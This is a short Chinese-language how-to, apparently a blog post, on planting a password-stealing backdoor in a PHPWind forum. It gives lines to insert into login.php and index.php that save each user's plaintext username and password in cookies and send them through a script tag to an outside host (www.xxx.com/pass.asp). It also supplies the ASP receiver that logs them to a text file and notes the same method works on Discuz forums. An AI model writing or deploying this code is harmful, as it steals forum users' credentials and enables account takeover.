记录PHPWIND论坛明文登陆密码
在login.php Cookie("ck_info",$db_ckpath."\t".$db_ckdomain);下面加入
Cookie("usernamep",$pwuser);
Cookie("passwordp",$pwpwd);
然后在index.php selectMode($m);上面加入
if (!is_null(GetCookie('usernamep')) && !is_null(GetCookie('passwordp'))) {
$urlp="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
echo "<script src='http://www.xxx.com/pass.asp?u=".urlencode(GetCookie('usernamep'))."&p=".urlencode(GetCookie('passwordp'))."&s=".urlencode($urlp)."'></script>";
Cookie('usernamep','',0);
Cookie('passwordp','',0);
unset($urlp);
}
pass.asp 代码
<%
strLogFile="pass.txt"
u=request("u")
if u="" then
response.end
end if
p=request("p")
if p="" then
response.end
end if
s=request("s")
StrLogText=StrLogText&"用户名:"&u&"----密码:"&p&"----网站:"&s&"----"&date&" "&time
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing%>
DZ论坛的明文密码记录也原理一样。
下一篇:MSSQL log备份语句